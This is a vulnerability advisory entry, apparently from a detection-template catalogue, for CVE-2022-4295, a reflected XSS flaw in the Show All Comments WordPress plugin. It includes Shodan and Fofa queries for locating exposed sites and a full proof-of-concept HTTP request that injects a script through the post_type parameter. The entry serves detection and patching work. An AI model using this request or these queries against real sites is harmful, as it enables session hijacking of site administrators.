| Title | Show all comments < 7.0.1 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.16021 |
| CVE ID | CVE-2022-4295 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/show-all-comments-in-one-page |
| Fofa Query | body=/wp-content/plugins/show-all-comments-in-one-page |
| Tags | cve2022 cve wpscan wp wordpress wp-plugin xss show-all-comments-in-one-page appjetty vuln |
The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
GET /wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4295.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4295.pcap
N/AN/A